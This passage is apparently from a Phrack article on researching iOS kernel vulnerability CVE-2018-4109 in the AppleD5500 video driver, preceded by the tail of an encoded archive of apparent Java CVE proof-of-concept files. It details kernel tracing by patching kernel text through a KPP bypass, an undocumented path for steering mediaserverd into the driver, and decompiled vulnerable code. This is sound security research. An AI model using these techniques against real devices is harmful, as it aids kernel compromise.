dlK6tcFy+EbTjjQ0lGqIdUdG5hOh4CTHA5z8iLakgddIjkbsP77UQooS3y0HNBTnmoxctehJphW u0+yWAh2iC2hznsxYgmeBk+BXNSze0hz42Zoka+nRepVLDdMvpqG/HpPA/mM3pz+97jZZkfIEVs vIxyNeEsuck/Hi6FhVtps95m45quu6hdQSwMEFAAAAAgAcm/ZTIo4h/NFAgAAngQAADoAHABjb2 RlL3VuaW5pdGlhbGl6ZWQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9idWlsZF9hbmRfcnVuLnNoV VQJAAMo2TBbl9kwW3V4CwABBOgDAAAE6AMAAI1T227aQBB936+YGITaB9bAQxXREIlLqpYGpQql qEojtOwueIO9a63XoQjx750116RBypPtmTNnzpkZly7CqdLhlGURKZESdFbwTeZww/JnJUyeYKg CQmUL0EZlEjEYmUsHGbcqdZiykjtjV2TcawXlD8AF+AfGNUskvq877eHXyfBudN+9eag9bgL4GE ClAulS4NueLs+kBaXT3JF+7/vkclKvN1rlOmkPB/32favc8EAeSb4AZud5IrXLyCzX3CmjsZrNJ awJZw6uruDm7gsZ+VATyjUIU+ai0JnwSSzq9JLWPHd4DLMsqX6iNfrELPltcuBMgzBLHRsmAPvD zJoEIufSrBl6NDXLBlUmpIT4TgDyr3JQrZMNIWoGD2j64CGAVguCAB7hM7hIao/mkYFAWmtsE7w IcAawACeMY00lVzMlxUWA0MLXSYOZOnTYDua99N4G+ntni9KhDjmhz54ZcJOkKsYdMS22ETwbhm vvt3+1u7j59cHyprioJ8TwoEifyeLukwXeib+RcW8bx8u4hlDI51DncfxfnrokfY0hW8PV651Gp efAY5ZlMqOUBqRcKISqeNlnoLRKWEy9kjcxu14/TLfr2W7xGqR9Ceepx283sQma9E2CPzjcgmFg hB+77axS/Brm6Y6uQGyDXRbHP02RGkgXGTG2yu27Ho2OUsGc9zldOcmNkH5V04IBrzeO/WdW8B8 GsBd7qq151H5WITmWmdyFr6ZRzDl4MdgTmbcM/8/I68Sys1KOuzgpFUZLxP8DUEsBAh4DFAAAAA gAcm/ZTHCf7N2AAAAAoAAAAA8AGAAAAAAAAQAAAKSBAAAAAGNvZGUvUkVBRE1FLnR4dFVUBQADK NkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2UyqT9LxSQQAAJ0LAAAvABgAAAAAAAEA AACkgckAAABjb2RlL2NvbmZ1c2VkLWRlcHV0eV9DVkUtMjAxMi00NjgxL01pbmltYWwuamF2YVV UBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2Uypxf1pegMAAI4IAAAwABgAAA AAAAEAAACkgXsFAABjb2RlL2ludGVnZXItb3ZlcmZsb3dfQ1ZFLTIwMTUtNDg0My9NaW5pbWFsL mphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lMjxOAahMEAAC5CAAA NAAYAAAAAAABAAAApIFfCQAAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQ wL01pbmltYWwuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2UyQYs LKoAMAAK8JAAA0ABgAAAAAAAEAAACkgeANAABjb2RlL3RydXN0ZWQtbWV0aG9kLWNoYWluX0NWR S0yMDEwLTA4NDAvR2VuRmlsZS5qYXZhVVQFAAMo2TBbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAA AAgAcm/ZTHkz/KvBAAAAOAEAADEAGAAAAAAAAQAAAKSB7hEAAGNvZGUvdHJ1c3RlZC1tZXRob2Q tY2hhaW5fQ1ZFLTIwMTAtMDg0MC9MaW5rLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSw ECHgMUAAAACAByb9lM6OmaLOAAAABTAQAAMQAYAAAAAAABAAAApIEaEwAAY29kZS90cnVzdGVkL W1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQwL1Rlc3QuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE 6AMAAFBLAQIeAxQAAAAIAHJv2UzsKSCfkwAAAAYBAAAxABgAAAAAAAEAAACkgWUUAABjb2RlL3R ydXN0ZWQtbWV0aG9kLWNoYWluX0NWRS0yMDEwLTA4NDAvaG93dG8udHh0VVQFAAMo2TBbdXgLAA EE6AMAAAToAwAAUEsBAh4DFAAAAAgAcm/ZTK2QRrinAQAAswMAAC4AGAAAAAAAAQAAAKSBYxUAA GNvZGUvdHlwZS1jb25mdXNpb25fQ1ZFLTIwMTctMzI3Mi9NaW5pbWFsLmphdmFVVAUAAyjZMFt1 eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lM39ULbxkCAABBBAAANgAYAAAAAAABAAAApIF yFwAAY29kZS91bmluaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE3LTMyODkvTWluaW1hbC5qYX ZhVVQFAAMo2TBbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAcm/ZTGZFWWr9BAAA7BMAAEwAG AAAAAAAAQAAAKSB+xkAAGNvZGUvdW5pbml0aWFsaXplZC1pbnN0YW5jZV9DVkUtMjAxNy0zMjg5 L0J5cGFzc0NhbGxUb1N1cGVyTWV0aG9kV3JpdGVyLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOg DAABQSwECHgMUAAAACAByb9lMOlPoHMYDAAA5DAAARwAYAAAAAAABAAAApIF+HwAAY29kZS91bm luaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE3LTMyODkvQ2xhc3NNb2RpZmllckJ5cGFzc1N1c GVyLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lMatqIP/4AAAC2 AQAAPQAYAAAAAAABAAAApIHFIwAAY29kZS91bmluaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE 3LTMyODkvUG9DQ2xhc3NMb2FkZXIuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAx QAAAAIAHJv2UyKOIfzRQIAAJ4EAAA6ABgAAAAAAAEAAACkgTolAABjb2RlL3VuaW5pdGlhbGl6Z WQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9idWlsZF9hbmRfcnVuLnNoVVQFAAMo2TBbdXgLAAEE 6AMAAAToAwAAUEsFBgAAAAAOAA4AqwYAAPMnAAAAAA==

<<<base64‑end

Viewer Discretion Advised

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x07 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Viewer Discretion Advised: ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ (De)coding an iOS Kernel Vulnerability ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Adam Donenfeld ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ @doadam ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

0) Introduction

1) Sandbox concepts

2) A bug ‑ how it all got started (IOSurface)

3) A bug ‑ finding a primitive for the IOSurface bug

4) Tracing the iOS kernel

5) Reversing AppleD5500.kext

6) Influencing AppleD5500.kext via mediaserverd

7) _The_ bug

8) H.264 in general and in iOS

9) mediaserverd didn't read the fucking manual

0xA) Takeaways

0xB) Final words

0xC) References

0xD) Code

‑‑[ 0 ‑ Introduction

The goal of this article is to demonstrate a (relatively) hard‑to‑reach attack surface on iOS, and showing the entire process from the beginning of the research till the point where a vulnerability is being found. While exploitation is out of the scope in this article, understanding the process of defining the attack surface, researching and while making your life easier (see sections 4 and 9), can provide beginners and expert hackers alike, a different approach for sandbox‑accessible vulnerability research.

The bug in question is CVE‑2018‑4109 [1], which was found by yours truly, that is Adam Donenfeld (@doadam). A PoC of the vulnerability is also available with this paper, and you're free to use it for educational purposes only.

While an exploit can (IMO) be written for this vulnerability, I had too many things to do (writing this paper for instance) but if you feel like working on an exploit, feel free to write me if you want my help with it. Without further ado ‑ let's start.

‑‑[ 1 ‑ Sandbox concepts

On all modern operating systems, most of the processes are by default restricted by sandbox technologies. A sandbox is an extra layer of protection, which prevents certain processes from accessing certain mechanisms. A sandbox is mandatory for many reasons, for instance:

* Preventing leakage of sensitive information. For example, let's take the case where an attacker has breached your phone using a WebKit exploit. While WebKit can steal information related to your browsing, it will not be able to read your contacts, because the sandbox checks who tries to access your contacts, and denies permission unless there's a legitimate reason (If the attacker has gained code execution using a vulnerability in the Contacts app, he will probably be able to access your Contacts).

* Narrowing attack surface. Most of the vulnerabilities out there can be found in different, unrelated components of the system (as will be shown soon). In the world of iOS, an interesting example is CVE‑2015‑7006 [2]. CVE‑2015‑7006 is a directory traversal which could be triggered via an Airdrop connection on iOS. The daemon in question was "sharingd". The directory traversal ultimately gave the attacker a write file primitive, meaning an attacker could overwrite any file on the system. Because sharingd was running unsandboxed as root back then, this vulnerability alone was enough to do various powerful operations (an installation of an arbitrary app, for example). Apple has since sandboxed sharingd. If sharingd would have been sandboxed before the publication of CVE‑2015‑7006, the vulnerability alone wouldn't be so powerful, because the primitives and privileges which could be gained are substantially limited (after being sandboxed, sharingd couldn't write any file on the system, thus couldn't manipulate installd to install arbitrary applications).

While fixing vulnerabilities like the one in sharingd does solve the specific issue in CVE‑2015‑7006, that alone doesn't approach the main issue: any exploit in sharingd results in compromise of the entire device. As a result, a lot of vendors (Apple among them) designed their system so that almost everything is sandboxed, and nowadays, almost every operation that requires hardware interaction is sandboxed and is only given upon permission from the user\Apple.

Because the vulnerability discussed in this paper (CVE‑2018‑4109) is in the accelerated hardware decoding driver, let's see the approach Apple took in sandboxing video operations, namely, video encoding\decoding:

The following graph demonstrates how the app would interact with the video‑decoding driver if there would be no sandbox:

EL0 (user mode) | EL1 (kernel mode)

+‑‑‑‑‑‑‑+ Decode video request | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|iOS app| | |AppleD5500.kext|

| |<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑+ Decode video response | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Fortunately for Apple, communication with every hardware accelerated encoding\decoding driver is sandboxed, meaning each request goes through a "broker" (mediaserverd). This can be extremely time‑consuming for an attacker, because it means the communication with AppleD5500.kext is defined by mediaserverd and that an unprivileged attacker can't access "exotic features" without having prior access to the driver (or code execution in a privileged context like mediaserverd).

This is how unprivileged apps communicate with AppleD5500.kext:

EL0 (user mode) | EL1 (kernel mode)

decode |

+‑‑‑‑‑‑‑+ video +‑‑‑‑‑‑‑‑‑‑‑‑+ | new +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | | request | | |sanitized | |

| |‑‑‑‑‑‑‑‑‑‑‑>| |request | |

|iOS app| |mediaserverd|‑+‑‑‑‑‑‑‑‑‑‑>|AppleD5500.kext|

| | | |

| |<‑‑‑‑‑‑‑‑‑‑‑| |Decode | |

| | simplified | | |response | |

+‑‑‑‑‑‑‑+ decode +‑‑‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑‑‑‑‑‑‑

response | |

|

|

|

|

_|_

\ /

'

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|* Basic video frame validation | |* Confined API | |* Check decoding\encoding permissions|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As we can see from the diagram, not only mediaserverd sanitizes our request, it never forwards requests: in fact, it recreates the request\response accordingly, which limits the attacker's power, both in causing memory corruptions and performing infoleaks.

‑‑[ 2 ‑ A bug ‑ how it all got started (IOSurface)

The bug was hidden deeply within the AppleD5500.kext file and while I had no intention to reverse engineer AppleD5500.kext, I found myself doing so in pursuit of a candidate for a different bug I found (which Apple silently fixed without issuing a CVE for).

While the other bug is not in the scope of this article, in order to understand how CVE‑2018‑4109 was originally found, it is important to have some background on the other bug.

That other bug was in a driver called IOSurface.kext. IOSurface are objects which primarily store framebuffers and pixels and information about these. IOSurface allows transferring a lot of information between processes about framebuffers without causing a lot of overhead. Each IOSurface object has an ID, which can be used as a request to an IOSurfaceRootUserClient object. IOSurfaces map the information between different processes, and thus save the overhead of sending a lot of information between processes. In iOS, a lot of drivers use IOSurface when it comes to graphics. The user doesn't store anything on the IOSurface object except for its ID. This means that in order to use an IOSurface object (for example, for video decoding), the user just needs to supply the ID to the appropriate driver and the original video is extracted from the IOSurface. The video itself is never being sent to the driver as a part of the request.

IOSurface objects store a lot of properties about the graphics; one of them is called "plane". For brevity, there was a sign mismatch in the "offset" of the plane. It means that each driver which used the plane's offset (or base), would have had a negative int, while the kernel "IOSurface‑>getPlaneSize()" function regarded the plane's offset as a uint32_t. So this vulnerability resulted in a buffer overflow.

Because surface objects only store that information without really "using" it (e.g performing memory manipulations based on the plane offset), it was necessary to find a different driver that used the plane's offset to actually perform a buffer overflow (or anything else which would give us more primitives).

‑‑[ 3 ‑ A bug ‑ finding a primitive for the IOSurface bug

Fortunately, if a driver wants to use IOSurface objects, it has to find the "IOSurfaceRoot" service, which is public and is named in the kernel's registryas "IOCoreSurfaceRoot". This means that each driver who actually needs IOSurface will have the string "IOCoreSurfaceRoot".

* Please note that IORegistry isn't within the scope of this paper.

* You can however read about it in the following Apple's document:

https://developer.apple.com/library/archive/documentation/DeviceDrivers/ \

Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html

Looking up the string in IDA yields the following results:

__PRELINK_TEXT:__PRELINK_TEXT_hidden: IOCoreSurfaceRoot com.apple.iokit.IOSurface:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleM2ScalerCSC:__cstring: IOCoreSurfaceRoot com.apple.iokit.IOMobileGraphicsFamily:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleD5500:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleAVE:__cstring: IOCoreSurfaceRoot com.apple.drivers.AppleS7002SPUSphere:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleAVD:__cstring: IOCoreSurfaceRoot com.apple.driver.AppleH10CameraInterface:__cstring: IOCoreSurfaceRoot com.apple.iokit.IOAcceleratorFamily:__cstring: IOCoreSurfaceRoot com.apple.iokit.IOAcceleratorFamily:__cstring: IOCoreSurfaceRoot

Because Apple's drivers are mostly closed‑source, it takes a lot of effort to understand how each driver uses the IOSurface objects. Therefore it was necessary (and just easy) to look for the string "plane" in each one of these drivers. While this doesn't guarantee we actually find anything useful, it's easy and it doesn't consume a lot of time.

Fortunately, the following string came up (newlines added for readability):

Assertion "outWidth > pIOSurfaceDst‑>getPlaneWidth(0) || outHeight > pIOSurfaceDst‑>getPlaneHeight(0) ||

outWidth < 16 || outHeight < 16 || inWidth < 16 || inHeight < 16" failed in "/BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleD5500/ AppleD5500‑165.5/AppleD5500.cpp" at line 3461 goto bail1

Around the usage of that string, there was the following assembly code:

SXTW X2, W25

MOV W1, #0x80

MOV X0, X21

BL memset

As AppleD5500.kext is closed‑source, one needs to guess a lot, and try to infer from the code what is the context in each function. Because we search for the usage of an IOSurface object, which has a vtable, one useful thing would be to add a comment around every virtual call with the function name of the corresponding IOSurface object. Having this and our "plane" string in mind, we expect virtual calls which contain "plane" in their name. To find the vtable of IOSurface (or any vtable of any object in a kext), it is possible to reverse engineer the kext on a macOS. Kexts are still symbolicated on macOS and therefore it is possible to obtain meaningful names for the vtable entries.

For the sake of this example, we'll reverse IOSurface.kext here. Opening up the IOSurface kext binary (on macOS it is located in the following path: /System/Library/Extensions/IOSurface.kext/Contents/MacOS/IOSurface), we get a symbolicated kext. To get the actual IOSurface's vtable, we can simply open the "Names" view (Shift+F4 for the keyboard shortcut lovers) and search for the string "vtable for'IOSurface". This will give us the offset‑0x10 of the vtable, along with all the entries, symbolicated. Although sometimes the vtable entries are in a different order, they are virtually the same (minus the diff between ARM and Intel CPUs), so it is necessary to make sure you look at the same function and not just blindly picking up the name from the macOS version.

This indeed works here:

LDR X8, [X19] ; X8=IOSurface.vtable LDR X8, [X8,#0x110] ; X8=&IOSurface‑>getPlaneSize MOV W1, #0

MOV X0, X19

BLR X8 ; IOSurface‑>getPlaneSize(0) MOV X23, X0

LDR X8, [X19] ; X8=IOSurface.vtable LDR X8, [X8,#0x110] ; X8=&IOSurface‑>getPlaneSize MOV W1, #1

MOV X0, X19

BLR X8 ; IOSurface‑>getPlaneSize(1) MOV X25, X0

SXTW X2, W23

MOV W1, #0x80

LDR X0, [SP,#0x120+var_E0]

BL memset ; memset(unk, 0x80, planeSize0) SXTW X2, W25

MOV W1, #0x80

MOV X0, X21

BL memset ; memset(unk, 0x80, planeSize1)

So it looks as if we have a new primitive! We can arbitrarily overwrite something with 0x80, while we control the length of the overwrite. We do not control "unk" (which is later revealed that it is the mapping of the IOSurface object; keep reading). The length is taken from the plane member of something we assume is an IOSurface object, which we can arbitrarily control using the vulnerability in IOSurface.kext. Obviously this is a far fetched assumption. Except for the string we found, there's nothing else that hints this is indeed an IOSurface object. To verify that, it is necessary first to understand what AppleD5500 is.

AppleD5500 is a video‑decoding driver, which is not accessible from the default sandbox. Communication with this device is done solely via mediaserverd, as described in the infographic above (section 1). So the next objective is to see how to trigger the function with the IOSurface usage. The function is approximately 20 functions from the entry point to the driver's communication (AppleD5500::externalMethod) [3]. Apple does not provide us with the right tools to debug the iOS kernel (in fact, it constantly makes it more and more complicated), and macOS doesn't have this driver. While guessing can get you started, getting a deterministic code‑flow is something that we want to assure, and not assume, as the direction of our research might be oriented based on such an assumption.

‑‑[ 4 ‑ Tracing the iOS kernel

I took Yalu102 [4] (thanks to @qwertyoruiopz and @macrograss for that) and utilized its KPP bypass. KPP [5] is a (not so new) mechanism that was introduced in iOS 9, checking the integrity of the text section of the kernel, meaning you can't modify the kernel's text section. I didn't care about setting breakpoints in the kernel, but I just wanted to get a dump of all the registers given a specific address. This would be enough to understand how to control the code‑flow, or at least how to progress steadily towards the function which uses the plane from our IOSurface object (and understand whether this was actually an IOSurface object in the first place).

What I did was as follows; assuming we want to see the registers' state at address 0x10C:

Kernel code with no KPP

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ADDRESS

| | 0x100

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | 0x104

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | 0x108

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | 0x10C

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | 0x110

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | 0x114

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | 0x118

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We overwrite 0x10 bytes with the following assembly code:

LDR x16, #0x8

BLR x16

.quad shellcode_address

shellcode_address contains code which prints the registers' state, a snippet from the shellcode:

STP x0, x1 [SP]

STP x2, x3 [SP, 0x10]

...

LDR x0, debug_str

LDR x16, kprintf

BLR x16

MOV x0, x0

MOV x0, x0

MOV x0, x0

MOV x0, x0

RET

Before overwriting 0x10C, the last 4 NOP instructions (MOV x0, x0) are replaced with the original instructions at 0x10C‑0x11C. This way, the code executes seamlessly (as long as no branches are being replaced). x16 was chosen because according to the ABI, x16 is only used for jumping to stubs (so it is safe to overwrite it). This way we can see the registers' state at (almost) any address in the kernel without hurting performance or slowing the research. Generally speaking, I've found that this infrastructure work, as time consuming as it might be, will be insanely helpful later on, and always worths the invested time.

Ultimately, the state of the kernel text will look like the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| LDR x16, #0x8 |0x1000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| BLR x16 |0x1004

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| .quad shelladdr|0x1008

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; memcpy(0x10C, 0x1000, 0x10)

ADDRESS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |0x100

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |0x104

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |0x108

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| LDR x16, #0x8 |0x10C

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| BLR x16 |0x110 +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|STP x0, x1 [SP] | shelladdr

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |STP x2, x3 [SP, #0x8]|

| .quad shelladdr|0x114 |... |

| | |LDR x0, kdebug_str |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |LDR x16, kprintf |

| |0x11C |BLR x16 |

| |<+ |old insn from 0x10C |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | |old insn from 0x110 |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|RET |

back to orig code +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

The shellcode advances X30 as well, so that we return to a valid instruction (0x10C‑0x11C are not restored upon the shellcode's execution). At the time of this writing there are other (public) ways to achieve the same result, but that's what I did, and the most important point I'd like to show here is that infrastructure work is extremely important, and I think every decent researcher who has experience in the field, has written some tools\scripts to ease the research process. Besides, at the return\appearance of an AMCC bypass, this could sleep be handy ;)

‑‑[ 5 ‑ Reversing AppleD5500.kext

Continuing our research, we know that AppleD5500 has something to do with IOSurfaces. So the next step is to see where the driver actually looks up\fetches IOSurface objects based on their IDs. A quick string search reveals the following string:

"AppleVXD393::allocateKernelMemory kAllocMapTypeIOSurface lookupSurface failed. %d\n"

Going to the place where this string is being used, I did the same thing I added a comment near every virtual call to see where the driver probably uses IOSurface (you can probably guess by now that this is an automated script, another 'infrastructure' work :) ). This indeed looked like an IOSurface object, but to verify that for 100%, I used the same kernel tracing technique like before and checked the vtable of the object in use. This was indeed an IOSurface vtable! This means we know now where the IOSurface object is being looked up. IOSurface was stored exactly in the same offset used in our mysterious memset call. Using the kernel tracing technique we see that indeed this IOSurface object is used for the memset as well! So if we can control the IOSurface object we can do an arbitrary write.

Unfortunately, at this point Apple silently fixed the IOSurface plane bug, but I got involved in this research deep enough to continue researching this area of AppleD5500.

Now the next part is to make sure we control this IOSurface object. We can obviously do that assuming we magically have an AppleD5500 send right port, but perhaps we can influence mediaserverd to supply our own IOSurface object.

‑‑[ 6 ‑ Influencing AppleD5500.kext via mediaserverd

Reverse engineering mediaserverd and looking for calls to anything that looks like AppleD5500 yielded no results, but after further investigation (= symbols and strings search). I saw that VideoToolbox was responsible for video decoding, and thus I assumed it was responsible for AppleD5500 as well (though no mention of AppleD5500 was in VideoToolbox).

When looking for AppleD5500 strings in the entire dyld_shared_cache, I found out that a library named H264H8 contained several different references to AppleD5500. One of the interesting call flow was:

AppleD5500WrapperH264DecoderDecodeFrame

‑‑> AppleD5500DecodeFrameInternal

‑‑> IOConnectCallStructMethod ; Calling one of the driver's

exposed usermode API' [3]

AppleD5500WrapperH264DecoderDecodeFrame had no xrefs unfortunately, but as (most) of the code isn't written not to be used (or it would be optimized out in that case), I assumed this function might be inside a vtable.

Binary search in IDA for the address of AppleD5500WrapperH264DecoderDecodeFrame indeed resulted in something that looked like a vtable. The vtable used in an object's initialization code in a function called AppleD5500WrapperH264DecoderCreateInstance. H264Register was an exported function with no symbols and no xrefs, but the string "H264Register" did appear in VideoToolbox. It appears that VideoToolbox treated H264H8 as a dynamic library and H264Register as the "entry point" (found with dlsym).

So to actually trigger usage of the driver without having a send right to the driver, we needed to do the following:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|XPC request to mediaserverd (VTDecompressionSessionCreate)|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|dlopen & dlsym to H264Register|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|AppleD5500WrapperH264DecoderCreateInstance|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Utilizing the vtables|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|AppleD5500WrapperH264DecoderStartSession|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|AppleD5500WrapperH264DecoderDecodeFrame|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|AppleD5500DecodeFrameInternal|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|IOConnectCallStructMethod| <‑ driver entry point

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VTDecompressionSessionDecodeFrame is a documented API that checks if we're a "server" (e.g, mediaserverd) and does a lot of logic assuming access to those drivers. Or it just sends a mach message to mediaserverd if we're not a server. Despite being 'documented', VTDecompressionSessionDecodeFrame had a secret undocumented feature which I discovered during reverse engineering AppleD5500WrapperH264DecoderDecodeFrame (so a much later stage of this API).

It is possible to embed some properties in the sampleBuffer, in a dictionary called "tileDecode":

tileDecodeDict = CMGetAttachment(sampleBuffer, CFSTR("tileDecode"), 0);

if (tileDecodeDict) {

cfnum = CFDictionaryGetValue(tileDecodeDict, CFSTR("canvasSurfaceID"));

uint32_t surfaceID;

CFNumberGetValue(cfnum, surfaceID);

...

x = ... CFDictionaryGetValue(..., CFSTR("offsetX"));

y = ... CFDictionaryGetValue(..., CFSTR("offsetY")); lastTile = CFDictionaryGetValue(..., CFSTR("lastTile"));

}

The dictionary had 4 properties (or at least, I saw 4 properties): "canvasSurfaceID", "offsetX", "offsetY", "lastTile". I had no idea what these properties meant, but "canvasSurfaceID" sounded perfect for our case: What if we could supply a surface ID to canvasSurfaceID, and hope that, magically, this surface will be used in AppleD5500 in the behaviour we saw previously?

And so it appears ‑ this could indeed influence the behaviour of mediaserverd and make sure it sends our requested surface object to AppleD5500!!

This could be verified both by reverse engineering mediaserverd and following the IOConnectCallStructMethod call, and the buffer given to AppleD5500, or simply using the kernel tracing technique to see whether the surfaceID of the object in AppleD5500 matches the surfaceID we sent (which requires prior reverse engineering of IOSurface.kext).

It could also be performed by calling the function IOSurfaceRoot has to lookup surface IDs, and see if we get back the value we expect given our specific surfaceID. Most important thing is ‑ to make sure that this indeed influenced the given surfaceID. I personally did it by reverse engineering mediaserverd and following these calls, because I was interested in offsetX and offsetY as well, though this isn't necessary (but proved to be useful, as you'll see soon ;) ).

‑‑[ 7 ‑ _The_ bug

Back to our main objective, get to that memset with our arbitrary 0x80 write. Looking up the code, I noticed the following:

if ( context‑>tile_decode )

{

dest_surf‑>tile_decode = 1;

tile_offset_x = context‑>tile_offset_x; // [0x1]

dest_surf‑>tile_offset_x = tile_offset_x; tile_offset_y = context‑>tile_offset_y; // [0x2]

dest_surf‑>tile_offset_y = tile_offset_y;

v73 = tile_offset_x +

tile_offset_y * dest_surf‑>surf_props.plane_bytes_per_row[0]; // [0x3]

v74 = tile_offset_x

+ ((dest_surf‑>surf_props.plane_bytes_per_row[1] * // [0x4]

tile_offset_y + 1) >> 1)

+ dest_surf‑>surf_props.plane_offset_again?[1]; // [0x5]

dest_surf‑>surf_props.plane_offset[0] = v73 + dest_surf‑>surf_props.plane_offset_again?[0]; dest_surf‑>surf_props.plane_offset[1] = v74;

}

...

if ( !context‑>field_4E0 && !(context‑>some_unknown_data‑>unk & 0x30) ) // [0x6]

{

